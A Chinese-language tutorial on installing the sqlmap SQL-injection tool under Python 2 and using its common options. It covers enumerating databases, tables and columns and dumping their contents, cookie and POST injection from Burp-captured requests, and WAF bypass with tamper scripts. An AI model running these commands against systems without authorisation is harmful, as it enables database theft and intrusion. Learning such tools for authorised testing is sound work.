
sqlmap的安装与常见的命令
sqlmap 简介
sqlmap 是一个自动化的 SQL 注入工具,主要功能是扫描、发现并利用给定 url 的 sql 注入漏洞,内置了很多绕过插件,支持的数据库是 MySQL、Oracle、PostgreSQL、Microsoft SQL server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB。
sqlmap 采用的 sql 注入技术:
- -基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
- -基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
- 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
- 联合查询注入。可以使用 union 的情况下的注入。
- 堆查询注入。可以执行多条语句时的注入。
sqlmap 的安装
sqlmap 的安装需要 python 的环境,并且不支持 python3 ,python2 可直接到搜索下载安装。
如果已经装了 python3 不想卸载,可以有两者兼容的方法:
https://blog.csdn.net/Goodric/article/details/115646211?spm=1001.2014.3001.5501
sqlmap官网下载 :http://sqlmap.org/
点击下载压缩包。
将文件解压在 python 的安装路径下。
如我的是在 E 盘的 Python27 文件夹下。
然后进入sqlmap目录下,执行cmd命令
为了方便,我们可以在桌面右键创建一个快捷方式。
对象位置填写 cmd 。
这样点击快捷方式就已经在路径下了,不用每次 cd 进入文件路径。
然后输入命令:sqlmap.py
可以看到 sqlmap 成功运行了。
我这里因为同时装了 python2 和python3 ,所以需要在语句前加上 python2 ,不然系统无法自己识别。
所以后面的命令测试都在前面加了 python2 ;如果只装了一个 python2 而没有装 python3 ,就可以不用加,直接 sqlmap.py 后面接命令。
sqlmap常见指令
1、注入六连:
-
sqlmap.py -u “http://www.xx.com?id=x” 【查询是否存在注入点
-
--dbs 【检测站点包含哪些数据库
-
--current-db 【获取当前的数据库名
-
--tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称
-
--columns -T "table_name" -D "db_name" 【获取数据库表中的字段
-
--dump -C "columns_name" -T "table_name" -D "db_name" 【获取字段的数据内容
2#、COOKIE注入:
sqlmap.py -u “http://www.xx.com?id=x” --cookie “cookie” --level 2 【cookie注入 后接cookie值,
–level=LEVEL 执行的测试级别(1-5, 默认 1)
–risk=RISK 执行测试的风险 (1-3, 默认 1)
3#、POST注入:
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap.py -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:--forms自动获取表单
例如:sqlmap.py -u www.xx.com/login.asp --forms
(8)指定参数搜索:--data
例如:sqlmap.py -u www.xx.com/login.asp --data "username=1"
4#、常用指令:
1. --purge 【重新扫描(--purge 删除原先对该目标扫描的记录)
2. --tables 【获取表名
3. --dbs 【检测站点包含哪些数据库
4. --current-db 【获取当前的数据库名
5. --current-user 【检测当前用户
6. --is-dba 【判断站点的当前用户是否为数据库管理员
7. --batch 【默认确认,不询问你是否输入
8. --search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
9. --threads 10 【线程,sqlmap线程最高设置为10
10. --level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11. --risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
12. -v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
13. --privileges 【查看权限
14. --tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件
15. --method "POST" --data "page=1&id=2" 【POST方式提交数据
16. --threads number 【采用多线程 后接线程数
17. --referer "" 【使用referer欺骗
18. --user-agent "" 【自定义user-agent
19. --proxy “目标地址″ 【使用代理注入